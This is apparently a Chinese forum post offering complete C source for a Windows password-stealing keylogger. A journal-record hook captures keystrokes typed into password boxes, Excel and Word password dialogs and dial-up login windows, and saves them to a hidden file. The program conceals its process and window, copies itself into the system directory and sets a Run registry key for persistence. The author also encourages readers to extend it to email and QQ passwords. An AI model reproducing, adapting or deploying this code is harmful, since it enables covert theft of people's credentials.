一个截获用户输入密码程序
作者：病毒
整理东西的时候翻出了个几年前的程序，功能是当用户输入拨号、EXCEL，WORD密码时，将其保存在一个文件里。程序用的是日志钩子，这样就不用象其他全局HOOK那样，必须单写一个DLL。
为了让初学者深入了解，将源代码贴上来,（SDK程序VC，BCB等WIN下的C编译器均可编译）象现在那些记录E-MAIL密码，OICQ密码等工具都是这原理，俺当时写着玩意的时候还没有OICQ。
有兴趣的可以自己加上。
/*------------------------------------------------------------------
* GMK 0.0000000000000000000000000000000000000000001 （不稳定版）
*
* 获取键盘输入密码、无聊时的作品
*
* 作者：贾佳
*
*
-------------------------------------------------------------------*/
#include <windows.h>
#define KeyPMask 0x80000000
#define SERVICE_PROC 1
#define UNSERVICE_PROC 0
#define RUN "\\GmkMon.exe"
typedef struct tagKEYDATA{
char kKey;
SHORT kShift;
SHORT kCaps;
SHORT kNum;
BOOL bShift;
BOOL bCaps;
BOOL bNum;
}KEYDATA,*LPKEYDATA;
HHOOK hHook=NULL;
DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD);
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam);
BOOL WINAPI HideProc(int mode)
{
HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
return TRUE;
}
else
return FALSE;
}
else return FALSE;
}
BOOL WINAPI IsPassWindow()
{
HWND hWnd,curHwnd;
TCHAR szTemp[MAX_PATH];
DWORD dwsTyle;
hWnd=GetActiveWindow();
if(hWnd==NULL) return FALSE;
curHwnd =hWnd;
while(curHwnd!=NULL)
{
hWnd=curHwnd;
curHwnd=GetParent(hWnd);
}
dwsTyle=GetWindowLong(hWnd,GWL_STYLE);
if(dwsTyle & ES_PASSWORD) //普通密码框
return TRUE;
else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码
return TRUE;
else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU))
return TRUE; //WORD密码
GetWindowText(hWnd,szTemp, sizeof(szTemp));
if(!strncmp(szTemp,"连接到",6)) //拨号网络
return TRUE;
return FALSE;
}
TCHAR WINAPI GetKey(int nKey)
{
KEYDATA kd;
kd.kShift=GetKeyState(VK_SHIFT);
kd.kCaps=GetKeyState(0x14);
kd.kNum=GetKeyState(0x90);
kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;
kd.bCaps=(kd.kCaps & 1)==1;
kd.bNum=(kd.kNum & 1)==1;
if(nKey>=48 && nKey<=57)
if(!kd.bShift) return (kd.kKey=nKey);
if(nKey>=65 && nKey<=90)
{
if(!kd.bCaps)
if(kd.bShift) kd.kKey=nKey;
else kd.kKey=nKey+32;
else if (kd.bShift) kd.kKey=nKey+32;
else kd.kKey=nKey;
return kd.kKey;
}
if(nKey>=96 && nKey<=105) // 小键盘0-9
if(kd.bNum)
return (kd.kKey=(nKey-96+48));
if(nKey>=186 && nKey<=222) // 其他键
{
switch(nKey)
{
case 186:
if(!kd.bShift) kd.kKey=';';else kd.kKey=':';
break;
case 187:
if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ;
break;
case 188:
if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ;
break;
case 189:
if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ;
break;
case 190:
if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ;
break;
case 191:
if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ;
break;
case 192:
if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ;
break;
case 219:
if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ;
break;
case 220:
if (!kd.bShift) kd.kKey='\\' ; else kd.kKey='|' ;
break;
case 221:
if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ;
break;
case 222:
if (!kd.bShift) kd.kKey='\\'; else kd.kKey='\\';
break;
default:kd.kKey='n' ;break;
}
if(kd.kKey!='n') return kd.kKey;
}
}
void WINAPI WritePassFile(int nKey)
{
HANDLE hFile;
DWORD dwBytesWrite=1;
TCHAR lpStr,szTemp[MAX_PATH];
hFile=CreateFile("C:\\passdata.txt",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL
);
SetFilePointer(hFile,0,NULL,FILE_END);
lpStr=GetKey(LOBYTE(nKey));
WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);
CloseHandle(hFile);
}
void WINAPI InstallHook(HINSTANCE hInstance)
{
if(hHook==NULL)
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0);
}
void WINAPI UninstallHook()
{
if(hHook!=NULL)
UnhookWindowsHookEx(hHook);
}
LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam)
{
EVENTMSG *pMess=(EVENTMSG *)lParam;
POINT pt;
switch(pMess->message)
{
case WM_KEYDOWN:
if(IsPassWindow())
WritePassFile(LOBYTE(pMess->paramL));
break;
case WM_LBUTTONDBLCLK:
GetCursorPos(&pt);
break;
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne");
if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){
ExitProcess(1);
}
static char szAppName[] = "jiajia" ;
HWND hwnd ;
MSG msg ;
WNDCLASSEX wndclass ;
HKEY hKey=0;
DWORD disp=0;
LONG lResult;
TCHAR szKey[MAX_PATH];
TCHAR szSysDir[MAX_PATH+25];
TCHAR szFileName[MAX_PATH];
wndclass.cbSize = sizeof (wndclass) ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;
wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ;
RegisterClassEx(&wndclass);
hwnd=CreateWindow( szAppName, "jia jia",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL
);
ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);
HideProc(SERVICE_PROC);
InstallHook(hInstance);
GetSystemDirectory(szSysDir,MAX_PATH);
lstrcat(szSysDir,RUN);
GetModuleFileName(NULL,szFileName,MAX_PATH);
CopyFile(szFileName,szSysDir,FALSE);
lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE,
szKey,
0,
NULL,
REG_OPTION_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hKey,
&disp
);
if(lResult==ERROR_SUCCESS)
{
lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir));
RegCloseKey(hKey);
}
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
switch (iMsg)
{
case WM_PAINT:
return 0 ;
case WM_DESTROY:
UninstallHook();
PostQuitMessage (0) ;
return 0 ;
}
return DefWindowProc(hwnd,iMsg,wParam,lParam);
}
